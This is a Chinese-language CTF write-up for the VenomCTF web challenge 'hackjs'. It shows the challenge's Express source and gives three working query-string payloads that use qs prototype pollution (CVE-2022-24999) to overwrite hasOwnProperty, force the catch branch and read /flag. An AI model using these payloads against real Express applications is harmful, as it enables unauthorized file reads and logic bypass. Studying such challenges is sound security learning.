VenomCTF-web-wp By.Starven

发布于 2024-03-18  50 次阅读


INFO

image.png

白天坐牢XCTF,晚上这个比赛快结束的时候看了看一个web题记录一下

Web-hackjs

题目描述

image.png

考点

  • CVE-2022-24999

分析

开题看到一个输入框

image.png

下载附件得到

image.png

app.js如下

const express = require('express')
const fs = require('fs')
var bodyParser = require('body-parser');
const app = express()
app.use(bodyParser.urlencoded({
    extended: true
}));
app.use(bodyParser.json());

app.post('/plz', (req, res) => {

    venom = req.body.venom

    if (Object.keys(venom).length < 3 && venom.welcome == 159753) {
        try {
            if(venom.hasOwnProperty("text")){
                res.send(venom.text)
            }else{
                res.send("no text detected")
            }
        } catch {
            if (venom.text=="flag") {
                let flag=fs.readFileSync("/flag");
                res.send("Congratulations:"+flag);
            } else {
                res.end("Nothing here!")
            }
        }
    } else {
        res.end("happy game");
    }
})



app.get('/',
function(req, res, next) {
    res.send('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form>  ');
});

app.listen(80, () => {
  console.log(`listening at port 80`)
}) 

代审很简单,就是要触发异常

payload,三种均可

1. venom[__proto__][text]=flag&venom[welcome]=159753&venom[hasOwnProperty]=starven
2. venom[__proto__][welcome]=159753&venom[text]=flag&venom[hasOwnProperty]=starven
3. venom[__proto__][hasOwnProperty]=starven&venom[welcome]=159753&venom[text]=flag

解释

1. venom[__proto__][welcome]=159753 试图修改venom对象的原型object.prototype

Object.prototype 是 JavaScript 中所有对象的原型,它包含了一些常用的属性和方法,例如 toString()hasOwnProperty()

通过设置venom[__proto__][welcome]=159753,它实际上是在所有对象的原型上设置了welcome属性的值为159753,因为__proto__是指向对象原型的引用

  1. 如何抛出异常(关键部分) //覆盖hasOwnProperty为任意字符即可抛出异常

**venom[hasOwnProperty]=starven**:这部分将venom对象的hasOwnProperty属性设置为字符串 正常情况下,hasOwnProperty是一个继承自Object.prototype的方法,用于检查对象是否拥有特定的自有属性 通过将它设置为一个字符串,venom.hasOwnProperty("text")的调用将会失败,因为hasOwnProperty已不再是一个函数。所以进入catch

  1. venom[text]=flag 没啥说的根据代审要求来的

原理:CVE-2022-24999

学习:[[CVE-2022-24999-Express 中的qs模块存在原型污染漏洞]]

express@(-∞, 4.17.3)中依赖的qs模块存在数组原型污染漏洞

问题记录:我在 本地搭环境的时候没有注意express版本高了,当我在源码加了打印keys数量的时候打出为3所以没打通

b136fe6d38387de09a59f3314aef504f.png
884d3426ff921a0b9d68b360a1044718.png
7d50298bf1e81c6537d26668dc96b5b3.png

然后我改了一下express版本为 题目环境,成功利用

image.png
image.png

reference

https://blog.csdn.net/Jayjay___/article/details/136773492

大一在读菜鸡ctfer的成长记录